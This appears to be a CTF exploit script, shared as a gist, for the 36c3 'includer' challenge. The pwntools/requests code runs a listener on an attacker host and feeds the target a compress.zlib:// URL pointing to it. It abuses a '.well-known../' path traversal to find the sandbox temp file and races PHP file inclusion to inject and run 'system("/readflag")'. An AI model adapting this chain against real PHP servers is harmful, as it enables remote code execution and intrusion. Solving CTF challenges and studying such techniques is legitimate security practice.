Created
January 7, 2020 13:45
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exp for 36c3 includer
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from pwn import * | |
import requests | |
import re | |
import threading | |
import time | |
for gg in range(100): | |
r = remote("192.168.34.1", 8004) | |
l = listen(8080) | |
data = '''name={}&file=compress.zlib://http://192.168.151.132:8080'''.format("a"*8050) | |
payload = '''POST / HTTP/1.1 | |
Host: 192.168.34.1:8004 | |
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0 | |
Content-Length: {} | |
Content-Type: application/x-www-form-urlencoded | |
Connection: close | |
Cookie: PHPSESSID=asdasdasd | |
Upgrade-Insecure-Requests: 1 | |
{}'''.format(len(data), data).replace("\n","\r\n") | |
r.send(payload) | |
try: | |
r.recvuntil('your sandbox: ') | |
except EOFError: | |
print("[ERROR]: EOFERROR") | |
# l.close() | |
r.close() | |
continue | |
# dirname = r.recv(70) | |
dirname = r.recvuntil('\n', drop=True) + '/' | |
print("[DEBUG]:" + dirname) | |
# send trash | |
c = l.wait_for_connection() | |
resp = '''HTTP/1.1 200 OK | |
Date: Sun, 29 Dec 2019 05:22:47 GMT | |
Server: Apache/2.4.18 (Ubuntu) | |
Vary: Accept-Encoding | |
Content-Length: 534 | |
Content-Type: text/html; charset=UTF-8 | |
{}'''.format('A'* 5000000).replace("\n","\r\n") | |
c.send(resp) | |
# get filename | |
r2 = requests.get("http://192.168.34.1:8004/.well-known../"+ dirname + "/") | |
try: | |
tmpname = "php" + re.findall(">php(.*)<\/a",r2.text)[0] | |
print("[DEBUG]:" + tmpname) | |
except IndexError: | |
l.close() | |
r.close() | |
print("[ERROR]: IndexErorr") | |
continue | |
def job(): | |
time.sleep(0.01) | |
phpcode = 'wtf<?php system("/readflag");?>'; | |
c.send(phpcode) | |
t = threading.Thread(target = job) | |
t.start() | |
# file_get_contents and include tmp file | |
exp_file = dirname + "/" + tmpname | |
print("[DEBUG]:"+exp_file) | |
r3 = requests.post("http://192.168.34.1:8004/", data={'file':exp_file}) | |
print(r3.status_code,r3.text) | |
if "wtf" in r3.text: | |
break | |
t.join() | |
r.close() | |
l.close() | |
#r.interactive() |
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